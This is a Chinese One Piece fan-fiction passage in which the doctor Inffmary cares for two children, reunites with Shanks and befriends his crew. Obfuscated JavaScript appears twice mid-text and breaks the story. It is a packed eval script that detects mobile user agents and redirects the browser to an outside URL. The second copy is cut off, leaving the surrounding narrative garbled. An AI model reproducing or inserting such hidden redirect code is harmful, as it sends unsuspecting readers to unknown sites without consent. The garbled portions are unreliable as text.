茵弗扭了扭腰,活动两下,端着巴/雷特那份饭给他送过去,顺便在他看白痴一样的眼神里在他结实的手腕上贴了个太阳。 没想到临睡前两个小孩还凑在一起抱着图鉴看,顺便猜猜明天茵弗会让他们找什么,能不能提前记下来。 “小孩子睡觉之前不应该读童话书什么的吗?绘本?北海都有什么故事?” 茵弗走过去把他们手里的书收起来,走到旁边的书架上翻找。 罗:“绘本早就不读啦,那是给小宝宝的。” 蕾玖:“我也没怎么读过,母亲偶尔会给我讲一些,但是自从她要生弟弟,我去看她的时间不多...” 罗:“那你可以给你的弟弟们读啊?比如大骗子诺兰度什么的,还有海洋战士索拉!” 茵弗顿了一下,随便拿了一本封皮鲜艳的书走过来,坐到两张床之间。 “大骗子诺兰度?您们知道这个故事啊。” 罗:“北海的都知道吧?” 蕾玖也点点头。 茵弗长长地诶了一声:“要算的话,我也是北海人呢,不过不是在北海知道的就是了。” 罗:“那你是在哪知道的?” 茵弗:“从我弟弟们那里,他们曾经跟着他们的船长去过黄金乡,那段时间我不在,他们转告给我了各种冒险故事。” 这家伙还有弟弟吗?难怪他问自己当哥哥的事情,是有经验啊...罗成熟地点点头。 “不过黄金乡不是骗人的吗?你弟弟也骗你了。” 茵弗眼角弯弯,眼前又浮现了香克斯和巴基当时夸张的描述,张牙舞爪地示意着,冲天的海流,云朵之上的岛。 “我相信他们超过相信我自己,黄金乡一定是存在的,诺兰度没有撒谎。” 蕾玖:“可是没有人找得到啊,国王很生气呢。” 茵弗嗯了一声,“那个故事最后告诉大家不要骗人,可是国王生气的究竟是欺骗呢?还是自己贪婪的欲望没有被得到满足呢?”,他将屋子里的灯光调暗,只留下手边的一盏灯,示意他们躺好,“好奇吗?您们以后自己去找找看吧?” 罗哼哼两声,缩到温暖的被子里:“小气。” 茵弗:“真失礼,小先生,那我就告诉您们另一个不是谎言的事实来换吧?” “什么?” “布鲁尼尔是诺兰度的故乡哦,您们现在就在他的起点。也许有一天也会经历像他一样的冒险,找到您们的黄金乡。” 罗:“哇!真的吗!布鲁尼尔!” 蕾玖没有回答,她蒙在被子里,外面二人的对话逐渐变成茵弗玛利读故事的声音,在罗发出小小的呼噜的时候,一只微凉的手轻柔地拉下她蒙在脸上的被子,擦去了她的泪水。 “总有一天,小殿下。”茵弗小声对她耳语,在离开前关掉了灯,“晚安。” - 早上被吵醒的时候茵弗是很暴躁的。他本来就不喜欢早起,就算再忙也留着偶尔睡个懒觉的习惯,更何况他半夜研究那些杰尔玛的实验记录到很晚,凌晨还要提前去要考察的区域确保当天那两个小孩能在路途上找到要学的植物,快日出的时候他才把二人的''教案''抄好睡下。 说真的天天都要干这事儿,他们已经在布鲁尼尔呆了一阵子了,他觉得是不是应该让他俩抱着图鉴学,看不懂或者找不到就算了。要不然哪有天天都能交给他们任务就都能顺利找到的好事。 不、耐心、他们还是幼苗,需要鼓励...蕾玖已经开始找到兴趣了...罗和她相处的也好...可是真的如果连懒觉都失去了他的人生就彻底没意义了... 总之他随便套了件衣服,拿上武器就跑出去准备狠狠地揍那些人一顿,或者让巴/雷特揍那些人一顿。 北海居然有敢袭击杰尔玛大蜗牛的家伙?虽然只有一只,难道是就因为只有一只好下手吗? 伽治不是说他的国家北海第一名吗?? 巴/雷特呢!站在那干嘛! “怎么回事,先生。有架打我以为您早就冲上去了。” 巴/雷特嫌弃地撇嘴:“来找你的,没意思。” ? 茵弗刚要开口,一道有些熟悉的声音就高声呼喊,把他钉在原地。 “哦那不是巴/雷特吗!好久不见了啊!你知道茵...茵弗!!” 茵弗转身向下看去,杰尔玛派来的士兵伤的伤晕的晕,跟棋子一样散落一地,领头的来犯者头发鲜红如血,如酒,一手握着西洋剑,一手扶在头顶的草帽上。 香克斯对他露出一个笑。 “你没事啊,茵弗!太好了!” - 香克斯没有想到二人见面后茵弗的第一反应是跑回房间。 贝克曼丢掉手里的杰尔玛士兵,既然找到了就没必要拷问了。他只模糊地看到一道身影,在匆匆离开时披散的金发在清晨的阳光下闪闪发光。 金色吗? 他给自己点了支烟,看着香克斯石化的样子觉得有点好笑。 “找错人了?” 香克斯猛摇头,沿着那些士兵下来的通道就跑了上去。 耶索普挠挠头:“我们在这儿等着?回船上?不会打起来吧?” 他们在北海转了好几天,也没打听到杰尔玛的消息,毕竟是移动的国土。花了不少钱,打了不少架,终于从一个情报贩子手里拿到杰尔玛可能往布鲁尼尔派兵的讯息。 本来想顺着布鲁尼尔到杰尔玛去的,或者问问茵弗玛利到底是被绑走了还是怎么样,没想到正好遇见了。 香克斯顺着巴/雷特的手指找到茵弗的房间,推开门正好看到对方裸着上半身背对着他在柜子里翻衣服。 看起来伤疤又多了,层层叠叠地压在一起,曾经他们一起洗澡的时候他就很想把那些疤痕都蹭掉,茵弗巧克力的皮肤上有那么多斑驳的色彩让他不舒服。 习惯性地,他凑过去上手擦了一下。 茵弗:“香克斯!” 他被拥抱住了,微微偏头,鼻梁擦过对方的耳廓,香克斯嗅到草药的味道。 茵弗:“我好想你!你怎么在北海!” 我也想你,我想见你,我在北海等你,我有自己的海贼团了,找到很好的船员,听说杰尔玛把你带走我很担心... 香克斯一个都没说,只是拥抱着茵弗,闻着他身上的味道,嘻嘻地笑。 茵弗身上被他的衬衫蹭的痒痒,想起来自己刚刚在干嘛,匆忙把他推开,狠狠戳了一下他的额头。 “你太突然了!还是大早上诶,我套个昨晚做实验穿的衣服还没洗漱头发也没扎就出去了结果你身边还带着伙伴也太失礼了...” 香克斯听他嘟囔哈哈地笑,又把他揽回怀里蹭蹭。 “没事啦大伙儿不会介意的。我一会儿给你介绍一下!” 茵弗终于找到自认为算是勉强合格的衣服套上,翻出梳子顺了几下因为睡觉而乱翘的头发扎好。 “是嘛,我很期待你的船员。” 香克斯点点头:“嗯!有——唔噗!” 来自膝盖弯的猛击让他腿弯了一下,然后就被一团粉色狠狠踢在肚子上。 噗,这种被小豆丁护着的感觉,让他想起小八他们了呢。 茵弗笑眯眯的看着两个小孩对着他们不认识的陌生人一顿乱打,香克斯见是小孩也不敢还手,一边哇哇乱叫着防御一边向他投来求助的眼神。 在蕾玖真的要用上她在杰尔玛学的那套的时候,他拉住了他们。 “好啦,这是我弟弟,记得吗?之前给你们提过的?” 两个小孩惊讶地看看他又看看香克斯,还套着睡衣,罗的帽子都没戴。蕾玖不好意思地对着香克斯鞠躬:“对不起!误会你是坏人了!” 罗见蕾玖都道歉了,也干巴巴地鞠躬,把手里用来当武器的厚厚一本书丢到一旁。 香克斯眼睛一转,刚要开口逗逗他们,茵弗就咳嗽了一下。 “咳咳,杰尔玛的小公主和弗雷凡斯未来最棒的医生在给你道歉哦。” 偏心,茵弗,以前明明最护着他和巴基的。那个小丫头打人还挺痛的。 香克斯挠挠头,把草帽扣回头上:“没关系!你们愿意保护茵弗也是很好的!” 茵弗玛利眼睛弯弯,像小时候一样凑过去感谢地贴贴他的脑袋。 “走吧,你们吃早饭了吗?正好带着船员和孩子们一起吃吧?” - 贝克曼对茵弗玛利的印象就是报纸上那些,加上后来香克斯话匣子打开之后滔滔不绝的讲述,什么厉害厉害的翻来覆去地说。二者之间的差异很大,前者所描述的冰冷随性,捉摸不透,后者所喜爱的温暖细腻,坦荡热烈。 所以他摸不清楚这个人到底是如何,带着审读的心踏入杰尔玛的餐厅。 然后,他叼着的烟被掐了。 一个套着鹅黄色格子围裙的青年一手端着托盘,另一只手摩挲了一下手指上的烟灰,从他眼前经过,留下一点草腥的苦涩。 “先生,有孩子在这里,禁烟。” 贝克曼的目光从桌边坐着的小男孩女孩身上扫过,把吸了一半的香烟丢到了旁边的垃圾篓里。 罗眯着眼睛打量这个黑色中长发的的陌生人。 茵弗玛利的弟弟,看起来傻兮兮的,非要挤开他坐到茵弗旁边,害的他和蕾玖只能坐在对面;胖子厨师,对茵弗的手艺大加赞叹,没什么好说;头发一条一条的狙击手,讲话动作很夸张;有纹身的航海士不怎么开口,纹身有点帅; 他最需要关注的就是一直在端详茵弗玛利的黑发男和...草灰色头发的船医,一直在问东问西恨不得拜师学艺是干什么啊!先来后到啊! 罗脑袋歪了一下,又被戳了。 “吃饭,小特拉先生,别瞪本乡先生和贝克曼先生。” 茵弗放下最后一份饭团和汤,绕回自己的位置坐下。 刚知道罗不吃面包的时候真的是让想要推荐吐司的自己狠狠心碎了。现在的小孩子怎么回事,蓝色番茄酱还好说,难道要他研究出来不是面包口感和味道的面包吗?不能吃三明治错过多少美好啊可恶... 主要是还要早起给他捏饭团真的是... “请大家多吃一点吧,如果您们不急的话,我在布鲁尼尔大概还会呆个两三天,可以来和我们一起吃饭。谢谢您们对香克斯的照顾。” 香克斯嚼着饭团,又往茵弗身边贴了贴:“巴/雷特不吃吗?” 茵弗任由他靠着,还顺手抹掉他脸上的饭粒:“人太多了他不来餐厅的,你知道他的习惯,我一会儿给他送去。” 耶索普:“头儿和哥哥真亲近啊,真好。” 香克斯:“咳咳、也不是哥哥啦、不也是哥哥、就是、咳、我们当然很亲近!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14900283|154812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>茵弗嘴角又上扬几分,“诶——香克斯跟船员们都介绍我是哥哥呀——”,他偏头期待地看向有点耳朵红的红发青年,“久违地,香克斯,来叫声哥哥听听?” 香克斯:“茵弗!别耍我啦——” 茵弗一把揽过他狠狠地在红色发旋上转着脑袋蹭:“干嘛!当了船长之后不好意思要哥哥罩着你啦?我先现在可有钱了,叫一声嘛——给你五万贝利?” 罗还是第一次见到茵弗玛利...撒娇?和蕾玖对视一眼之后两人同时点点头——果然是错觉。 贝克曼挑眉。 在杰尔玛的战船上如此随意;和巴/雷特这种搅动风云的强者呆在一起;身边跟着两个小孩,有一个还是杰尔玛的王储;香克斯叫一声哥哥就给五万贝利?游医这么有钱的吗? “噢噢哥哥真帅气!” “不愧是茵弗医生太有实力了!” “噢噢噢头儿快叫!五万贝利呢!你能买好酒了!” 香克斯僵了一下,小心翼翼地回头瞥一眼,茵弗还是笑眯眯的,不过把他松开了。 “好啦,不想叫就不叫吧,以前你和巴基也不怎么叫。不过最近喝很多酒吗?” 香克斯给了拉基·鲁一眼刀,试图剖下他身上的肥肉。 “啊...也不是很多...吧?” 茵弗把他支起来,示意他继续吃饭。 “别紧张,我说了我看不见你就随便喝嘛,记得护肝就好,我听着也没什么问题,不过你走之前带点茶走,我现在和巴苔里拉合作,那边生产的花草茶质量都很好,还有饮食上我会给鲁先生抄一份食谱...” 贝克曼把跟''巴苔里拉合作''默默记在心里,下意识鼻子里发出一声笑。 宠爱弟弟的妈妈吗? 他低头咬了一口饭团,和侧面小孩的金色虹膜对上眼。 哦,还是个带着鸭崽的妈妈。 他拢了一把因为吃饭有些碍事的头发,一个发圈被递了过来,深色的手腕上稍微能看见些勒痕。 “需要吗,先生?” “谢谢,也许是该去理一下了。” “别嘛,男人有漂亮头发当然就是要留长啊。” 贝克曼抬眼,看到茵弗玛利歪着头,长长的,有些杂乱的刘海抚过眼边的痣。 留长发?也不错啊。 本乡:“茵弗医生和大家都很有礼貌啊...虽然海贼不太习惯...跟头儿就很随意这就是偏爱吗....头儿运气真好啊...” 茵弗觉得有点好笑,香克斯的船员果然都是一群可爱的家伙。他撸了一把旁边尾巴都翘起来的红毛仔,示意他消停。 “这只是我个人的习惯,本乡先生,您不必跟我这么拘束,您们是香克斯的船员。我晚点会把我的一些笔记心得借给您的。” 他指指本乡放在一旁的武器:“您是用棍棒打架的吗?晚点也许我们可以切磋一下?我一直没有找到合适的材料找工匠做一根呢。” 香克斯疑惑:“茵弗现在不用刀了吗?枪呢?” “用的,枪也用的,不过...嗯...就是连着刀鞘一起当棍子用啦,遇到难缠的敌人才会上手借用能力。” 贝克曼:“枪斗术呢?” “没有学过,而且我的是手枪,长管的所以距离还不错,但是不像您的步枪那样适合枪斗。” 香克斯哈哈大笑:“就是靠着你奇怪的霸气掌握一顿乱打嘛茵弗!” 茵弗笑笑:“是吧,□□先生也这么说呢。” 虽然他说''乱打'',可是和本乡的切磋实质性地让红发海贼团知道香克斯所说的''很强''是什么概念。 基本瞬间就结束了,茵弗玛利在闪避本乡进攻的同时从下往上在他手臂上纵向一击,对方手一松,然后理所当然地一刀鞘抽飞红发海贼团的船医。 本乡不弱,就算是船医,红发海贼团的人都不弱,棍棒作为他的武器,无论如何都不应该被他松开,有什么他没看出来的东西在那一瞬间发生了。 贝克曼很惊讶地站直身体,不过看香克斯脸扬得高高的得意样子他就失去了询问他的欲望。 茵弗玛利没有第一时间拉起本乡,甚至没有分给哎哟叫唤着爬起来的对手一个眼神,而是捡起对方丢下的棍子颠了颠,甩了两下,然后小小地撇了一下嘴——这个举动也和他之前在餐厅里对他们彬彬有礼的细致不太符合。 贝克曼下意识地掏出烟挂在嘴角,不过那两个小孩还在旁边,所以他只是咬着,没有点燃。 收起刀鞘的人随手递过手里的棍子,贝克曼眯眼,本乡在接过时手臂还在颤抖。 “好强...” 鲁回过神,咬着一块肉喃喃。 也是,能独自一人在这片海上游荡的人怎么也不会弱。 两个人走过来的时候,茵弗玛利很有礼貌地感谢本乡跟他切磋,然后关心地问他是否仍然不适。 “我听过了您的身体强度,所以是按照您能承受的程度打得,不过如果今天下午您仍然感到疼痛或者麻木,请及时来找我。” 本乡连连点头,眼睛里的光都要压过香克斯了。 “好厉害!茵弗医生!真的那一瞬间我感觉我的胳膊都废掉了,又疼又麻没有知觉..你能教我吗!” 茵弗玛利身上又挂上了一大只红毛,幼稚的青年对着旁边虎视眈眈的两个小孩做鬼脸。 香克斯:“是霸气啦,茵弗的霸气超级精准的,而且是巴/雷特和御田教的,又暴力又很灵活,本乡你先把霸气练好吧~” 茵弗点点头,手习惯性地揽住香克斯的后背:“是这样的,而且我们是医生,本乡先生,利用这一点。” 医生比战士更了解人的弱点吗? 贝克曼咬咬烟。 有点可怕啊,这家伙,打起架来完全不一样。 耶索普:“头儿和哥哥哪个更强?头儿也会挨揍吗?” 茵弗笑笑,把香克斯从自己身上立起来——几年不见怎么长高又长壮,果然还是再多喝几年牛奶吧... “我们没有认真打过,不过我应该打不赢香克斯吧。” 香克斯:“因为茵弗心软~” “好好练你的霸王色吧,就这一点我就完全没有呢。” 香克斯撇嘴:“没准你以后也会解锁的,唰地一下不是很帅吗?” “得了吧,霸王色不是王者资质吗,我当医生王吗?” 茵弗拉过一旁的两个小孩,告诉他们今天不去考察,想放松就自己在附近玩,想学习就去看书。 罗:“你呢?” 茵弗:“我有事情要和香克斯谈,您们现在还不可以知道。” 罗切了一声:“不想告诉我们就直说嘛。” 茵弗:“不是不想,小先生,以后我会告诉您们的,现在不是好时间” 茵弗拉过香克斯,拒绝了他说要让船员一起听的提议:“我们聊完之后如果你觉得可以告诉他们,那么那时再说。” 他们离开了海岸边,向布鲁尼尔繁茂的丛林中走去。 今天是个好天气,或者是因为久别重逢的欣喜将一切不美好都染上愉悦的颜色。虫鸣变得悦耳,阳光变得和煦,绊脚的藤蔓也成了大自然的逗趣。 虽然话题有些沉重,但是更像是闷住大地的积雪,可以对其下等待苏醒的春天而感到一丝期待。 香克斯吐出一口气:“船长...有爱人孩子了啊...” 茵弗点头,眼角温柔:“嗯,我尽力了,露玖的身体留下了损伤,但是经过调养问题不是很大了,我在外面也会继续留意。” 他在脸上,鼻梁上轻轻拂过,就像是描摹记忆里小小的雀斑。 “艾斯长得像妈妈,但是有爸爸的头发,小芝麻包一样可爱,健康的胖宝宝,和基拉基德——就是我带回去的另外两个孩子——相处得还不错。” 他牵着香克斯的手,就像久违地拉着自己的锚。 “...香克斯,如果我需要你的帮助,你会来吗?” 他恐惧。 他想看到积雪下的春天,吹开樱花的风,想看到命运有所答案。可他担心自己只是在对着转瞬即逝的烟花许愿。 香克斯:“这是你的梦想吗?” 茵弗:“我不知道。” 香克斯抽出一只被紧攥的手,蹭过对方的眼下。 “杰里,你哭了。” 诶? 这不是他第一次哭泣,即使是第一次在香克斯面前。但是这是第一次,他不知道自己在流泪。 所以他迷茫的眨眼,任由那些泪滴滚落,任由香克斯将它们越擦越多。 “我不知道。” 香克斯嗯了一声:“不知道你哭了?” 他点头,又摇头。 “我不知道。” “嗯。” 因为身高的问题,香克斯没法让他用耳朵去听自己的心跳,即使他知道他很喜欢。所以他拉过他的手,放在自己的胸口上。 “听我的声音,杰里,我在这里呢。我们不是朋友吗?” 他听到了,感受到了,一下又一下,宛如春风叩响门扉。 杰里将香克斯的手抵上额头,深吸一口气。 然后茵弗玛利说:“回去吧,要起风了。” 44.朋友和昵称 雷德福斯号上来了新的客人。 茵弗新奇地摸摸这个摸摸那个,仔细地夸奖了它漂亮的龙头。 “不过你真的取名叫【雷德】(red)了啊,小红仔。” 香克斯抱着脑袋做鬼脸:“不是很好嘛~多帅气啊。” 两人嘻嘻哈哈地打闹一会儿,绕了整艘船一圈,茵弗摸摸桅杆跟雷德福斯问好,然后红发海贼团的六名船员,包括船长香克斯,都随着他的脚步走入餐厅。 鲁:“所以说以后弄一间会议室吧?多帅啊” 本乡:“我们还会开会吗?” 鲁:“也是。” 茵弗等着他们都围着桌子坐下,在香克斯的示意下坐到他的旁边。 “以后人越来越多的话会议室我建议是可以有哦?定制一个海域沙盘放在中间,随时标号记号什么的。莫比迪克上有一个呢。” 香克斯:“以前杰克逊号上也没有吧,开会什么的好麻烦。” 茵弗:“不一定只是用来开会嘛,情报啊,信息啊,珍惜的海图啊都可以收在一起。知识就是力量啊小雷德。” 坐在对面的贝克曼点了支烟,有些好奇地开口:“杰克逊号?” 茵弗靠在椅子上仰仰身子没有回答,等着香克斯解释。归根结底,他才是他们的船...香克斯居然疑惑地看过来了? 解释啊!船长? 香克斯:“哦!咳、伙计们!你们是我的伙伴...” 香克斯的确是极具人格魅力的船长。 自由的灵魂,自信的气质,就像是太阳,即使你不去看他,也无法忽略他的存在。 茵弗闭上眼,将脑袋搭在支起来的胳膊上,整个人暖洋洋的。 如果巴基在这里就好了。 不过香克斯说他们上次有联系是在东海,巴基也在找船员,如果东海的话,没准无意间已经认识艾斯了呢? “所以...头儿和哥哥曾经是海贼王船上的人啊..” “茵弗医生在替海贼王养孩子?” 茵弗噗嗤一声笑了出来,他就知道香克斯找的船员都蛮可爱的。 他摆摆手:“不算,他妈妈在养他,不过我可能过几年去接他们,跟着我旅行。” 贝克曼:“被政府知道了的话很危险吧。” 茵弗直起身子。 “是的,所以我才叫您们来。” “奥罗杰克逊号的冒险已经结束了,现在,香克斯有香克斯的冒险。” “但是请在我需要时帮助我吧,红发海贼团。成为我的朋友,而【茵弗玛利】的一切都将是您们的。” 香克斯咧嘴笑了,环顾四周:“伙计们?” “噢噢噢这还用说吗!” “当然了吧!头儿的哥哥就是我们的哥哥!” “喂你比茵弗医生大吧,别占便宜啊!” 贝克曼吐出一口烟:“能让仅凭一人就在伟大航路创下名声,搅动东海,北海王族争抢的奇迹游医做我们的朋友,也太划算了吧?” 嗯嗯嗯?什么搅动东海?什么王族争抢?? 算了、反正是同意了的意思吧。 茵弗:“嗯...好、既然先生们都如此热情,来签合同吧..我刚刚拟了友谊合同...” “哈哈哈哈哈什么啊交朋友哪有签合同的!来喝酒吧喝酒!” “开宴会吧头儿!” 香克斯也抢过茵弗手里的纸张扫了一眼,大笑着揉成一团丢掉。 “好啦茵弗!开宴会吧!” 茵弗:“啊小特拉先生和蕾玖殿下还在那边等我...我去接他们过来?” 香克斯点点头,在他离开前又拉住他的手放在自己的心脏上。 “别担心了,茵弗。” - “所以,红发海贼团的朋友,你需要我们做什么呢?” 贝克曼刚走到船舷边的茵弗身旁坐下,烟就又被掐了。 他低头,了然看到缩在对方腿上睡着的两个小孩,裹在厚厚的毯子里,天黑了,远着看还真没注意到。 几岁的小孩,就算第一次参加海贼的宴会很激动,也闹一会就就累了。 “我去叫他们声音小一点?” 茵弗摇摇头:“没事,一会儿把他们送回去睡,海贼宴会都要闹到很晚的,您们尽兴就好。” 贝克曼把还没吸两口的烟夹在指间,靠在船舷上喝了一口酒:“现在不去?晚点他们要唱歌了。” 茵弗:“这会儿腿麻了。巴/雷特先生不会待过零点的,他回去的时候顺便把他俩带走。” 虽然烟熄了,除了宴会上烤肉和酒水的香气,茵弗还是能闻到贝克曼身上的烟草气息,混着一点清凉地海风萦绕在这个夜晚。 “吸烟对肺不好。” 贝克曼笑了一声,这就是''朋友''的区别?之前他可没说过这种提醒。 茵弗听他这么说只是耸耸肩:“算是吧,我还会给您开一堆药物,苦不苦的全看我心情,所以您最好掂量着少吸烟。” 贝克曼:“就像让香克斯护肝?” 茵弗:“也许吧。” 贝克曼把手里那只烟塞回烟盒:“做你的朋友有什么好处?除了有免费的药吃。” 茵弗抬起手,一根根地掰着指头:“嗯...我的喜欢?我会送我喜欢的人昵称。还有...嗯...医生的偏心?比如让我选救朋友还是救陌生人,我肯定选朋友。” 贝克曼乐了,这是什么小孩子交朋友。 “还有呢?” 茵弗扭着眉头,勉强弯下第三根手指:“嗯...我说了,【茵弗玛利】的一切,只要您们想要,需要,就会为您们而来。” 举到嘴边的酒杯顿了一下,他换了个话题:“香克斯是小红?我的昵称是什么?” 茵弗玩着自己的手指:“您没有昵称,贝克曼先生,我是香克斯的朋友,是红发海贼团的朋友,谁说我喜欢您了?” 好吧。也许报纸上的说法还是有点真实性在的。 “你为什么不喜欢我?” 茵弗轻轻笑了两声,“因为您一看就很聪明,先生,我感觉和您说话会很累。” 贝克曼:“一边说不喜欢一边夸人聪明?” 茵弗:“我不喜欢动脑筋,而且,您需要我的喜欢吗?” 贝克曼需要茵弗玛利的喜欢吗?他说的没错,他是红发海贼团的朋友,那么就足够了。经验,知识,珍贵的医疗资源,甚至是金钱,因为他是红发海贼团的朋友,那么这些都会对他们敞开,自然也就包括贝克曼。 他真的需要一个昵称吗? 香克斯晃悠了过来,看他俩坐在一起眼睛一亮就要呼唤,被茵弗打了个手势制止了,指指腿上熟睡的孩子。 香克斯轻手轻脚挪过来:“要送他们回去吗?” “巴/雷特先生要回去了吗?” 香克斯点头,然后抱起两个孩子去交给巴/雷特。茵弗在他走后慢慢活动双腿,因为麻麻的感觉不适地歪嘴。 贝克曼重新抽出那根烟放在嘴里,没有点燃。 “巴/雷特有昵称吗?” 茵弗点头:“【子弹】,他好像是第一个有昵称的?比香克斯和巴基还要早?” 这倒是让贝克曼意外了,巴/雷特吗? 果然,没过多久那群人就开始唱歌了,香克斯也跑了回来,重重地坐到茵弗身旁。没有平时喝的多,贝克曼注意到,应该是茵弗玛利在的原因吧。 香克斯:“和贝克在聊什么?” 茵弗:“在聊昵称,话说,你们没有音乐家诶。” 香克斯撅嘴:“是吧!好可惜的!我还没有找到这么重要的船员!” 茵弗重重点头,这下贝克曼倒是真觉得他俩是兄弟了。 不过他绕回了一开始的话题。 “你需要我们做什么?红发海贼团的朋友。” 茵弗:“不知道,走一步看一步,需要的时候就知道了。” 香克斯认同地点头:“茵弗最近在忙什么?我给你讲了我的冒险,你还没有说呢。” 这倒是确实。甚至因为见面的太突然,茵弗玛利都没有准备礼物。所以他拿过香克斯的一只手玩,细细讲述和他们在罗格镇分开之后短暂的,漫长的经历。 巴苔里拉,如何为了露玖能随时喝到他配的茶,弯弯绕绕地做了那么多事情;东海,如何为了让自己在意的人远离垃圾,和卡普一起将不确定之物终点站变成了一块多米诺骨牌;北海,如何误打误撞到了弗雷凡斯,发现雪白的秘密后与罗许下约定,到了现在,在杰尔玛那个冰冷无趣的地方,认识了一朵和他的扶桑花一样美丽的花。 香克斯:“我就说嘛...我绕到北海都找到贝克了也没有你来的消息。” 茵弗:“那倒是,久等了。” 他俩无所谓的闲谈着,一旁的贝克曼却无比震惊。 ''【茵弗玛利】的一切都将是您们的。'' 结合在餐厅的''会议''时对方对自己话的微妙反应...他真的懂这句话的力量吗? 贝克曼:“你为什么拒绝了弗雷凡斯?” 茵弗发出一声鼻音,随便揉乱自己的头发。 “您觉得我做这些是因为我是个悲悯的圣人吗?我不这样认为,否则我在这里干什么?您们一边杀人?我救人?我最多给顺眼的念个悼词。” “至于弗雷凡斯...一个医生也许可以治好铂铅病,但救不了一群藤壶。那座城市不一样,先生。” 它的每一寸土地,每一块砖石都被铂铅渗透,一举一动间都在贵族与政府的蛛网之上。白城的医生们在意识到问题之后下意识对他的诉求让他感到无趣。 就像是在鱼人岛的那些''用帮助交换帮助''的名单,弗雷凡斯必需敢签下它的名字。 “''带来奇迹''的从来都不是我,贝克曼先生,您明白吗?” 新生就如让人震撼的大教堂,如巨钟震耳欲聋的轰鸣,如让人垂涎欲滴的盛宴。 它是人的伟业。 “如果弗雷凡斯做到了,那么我会去按约定为他们寻找一个答案,然后我们会成为朋友。” 贝克曼:“...例外呢?” 茵弗笑了:“我就说您很聪明,没错,例外就是,如果特拉法尔加·罗很可爱地拜托我,那么我也会为了他去做。” 贝克曼摇摇头,他自诩善于观察,可是短暂的相处后,他仍然弄不明白这位医生。 茵弗将香克斯手里的酒拿过。 而贝克曼点燃了嘴里的烟。 “所以与其说是喜欢,想要一个昵称的话,得让你好奇?” 他看着茵弗玛利一口气喝掉杯子里的酒,对着委屈巴巴地凑过来的红发船长露出顽劣的笑。然后他捏着香克斯两侧的脸颊,在对方脸上留下一个朗姆味的亲吻,发出一声清脆的响。 他没听到贝克曼的话。 所以他吐出烟气,没等到回答。 - 北海究竟是怎么回事。 他一开始想去杰尔玛,结果跑到弗雷凡斯去了,想离开弗雷凡斯去布鲁尼尔,又跑到杰尔玛去了。 而现在,他要回杰尔玛,却接到了来自弗雷凡斯的联络,他又得先去弗雷凡斯。 这不是一点都没有男人说去哪就去哪的浪漫了吗?罗杰还死前去了拉夫德鲁呢。 好!决定了!下一站一定要去亨姆岛! 茵弗有些丧气地挂掉电话虫,对着蕾玖招招手。 “小殿下,我不跟您回杰尔玛了,我搭弟弟的船去弗雷凡斯,之后再去杰尔玛。” 蕾玖有些难过,但还是乖巧地点头。 “我父亲...抗毒报告怎么办?” 茵弗认真地蹲下身子,握着她的肩膀说:“对不起,小殿下,但是我需要您辛苦一下了。” 杰尔玛王国的分部队医务室里,传出了一声稚嫩的惨叫。 茵弗观察了一下蕾玖扭曲的神色,下意识蜷缩的身体,有些心痛地擦擦手,对着身旁的杰尔玛士兵说:“好了,既然我不能亲自向国王陛下汇报,那么拜托您告知他这个结果。请出去吧,我需要给小殿下解毒了。” 士兵点点头,记下茵弗玛利的话,蕾玖殿下服用测试用毒后出现剧烈反应,目前身体成长度已达极限,下一步改造或需在身体年龄成长后进行。 士兵离开后,一旁面色苍白的罗冲了上了,死死抓住茵弗的袖子:“你喂她吃了什么!” 茵弗将水杯递给仍然皱着脸的蕾玖,摸出一个''毒丸''塞到嘴里,又递给罗一颗。 “90%黑巧克力,您吃吗?我从我弟弟那拿的。” 罗瞬间臭脸,吓死他了!这家伙搞什么啊! “不吃!” 茵弗还是把巧克力塞到罗手里:“那就留着,以后恶作剧用。” 蕾玖吐吐舌头,上面还带着点巧克力的颜色。 “我、可是我父亲会知道我吃的不是毒吗?” 茵弗摇头:“我打着给王妃治病的名头,研究了很多您们那的实验报告,不少有关您的。我按照上面的东西捏造一份用料报告让他们带回去汇报就好了。” - “话说你为什么买了这种巧克力啊,以前罗杰先生给你带的口味都蛮正常的啊?” 茵弗靠着船舷边坐着,腿里圈着看医书的罗,顺着对方指出的读不懂的生僻字标注。自己小时候也是这样的呢。 香克斯和耶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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茵弗又瘦了,好像每次重逢他都在变瘦,虽然那天换衣服的时候看到很结实,但是不一样。茵弗的脸应该是软软的,不像海贼一样粗糙,在为他擦去泪水的时候他不应该一遍遍地摸过硬邦邦的骨头。 他不怎么吃饭,香克斯发现了,那天吃早餐开始他就没有吃,宴会的时候也没怎么吃鲁的烤肉。茵弗其实很挑食,但是他不吃饭不是因为不喜欢。他经历过亨姆岛上的冬天的饥荒,所以一直很喜欢吃东西,也不浪费,尤其是天冷的时候。 亨姆岛让他喜欢食物和喜欢医药一样多。 烤栗子、吐司、饼干沾果酱、鱼、他应该把脸颊塞得鼓鼓的。 现在瘦瘦的茵弗窝在毯子堆里,他很高,仍然比香克斯高一点,但是看起来很小,陷进去就要不见了。 香克斯回神,催促罗去睡觉。 罗:“我睡哪里?” 香克斯:“你去找贝克吧!这里是船长室。” 罗指指已经开始犯迷糊的茵弗玛利:“他呢?” 香克斯露出帅气的笑容:“茵弗当然跟我睡啊?” 罗不情愿地被他推到门外,跟着对方的示意去对面房间找贝克曼。 “好黏人,弟弟都这么黏人吗?妹妹呢?” 香克斯吐吐舌头:“嫉妒吧~” 咔哒。 房门合闭的一刻好像门外的世界就不存在了。今天也被抹去了。雷德福斯在波涛上微微起伏,他们好像只是在虚空中飘浮的盒子里。 香克斯挪到床边坐下,被毯子包围着的茵弗终于看起来没有棱角了,软绵绵的样子,化掉的巧克力。 